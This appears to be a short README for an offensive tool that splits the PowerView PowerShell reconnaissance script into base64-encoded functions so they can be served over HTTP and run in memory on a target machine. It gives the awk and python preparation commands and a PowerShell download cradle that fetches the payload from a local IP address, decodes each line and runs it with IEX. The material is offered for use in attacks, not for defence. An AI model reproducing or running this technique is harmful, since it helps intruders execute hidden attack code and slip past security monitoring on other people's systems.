How it works

The idea is to split the ps1 script into functions, base64 encode all functions and dump that into a file. Then load the file with powershell and loop through all the lines, base64 decode and IEX. Profit!

Clean the powershell script

Remove all the comments and docs

awk '/<#/{flag=0;next}/#>/{flag=1}flag' PowerView.ps1 > pv.ps1

The python script takes care of removing the inline comments (starts with #)

Run

python PyPowerSplit.py pv.ps1 > p

Powershell (run.ps1)

To run the code, run this on the target machine. Change the address accordingly.

ForEach ($line in $((New-Object Net.WebClient).DownloadString('http://192.168.0.248:5555/p') -split "\n"))
{
    [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($line)) | IEX
}
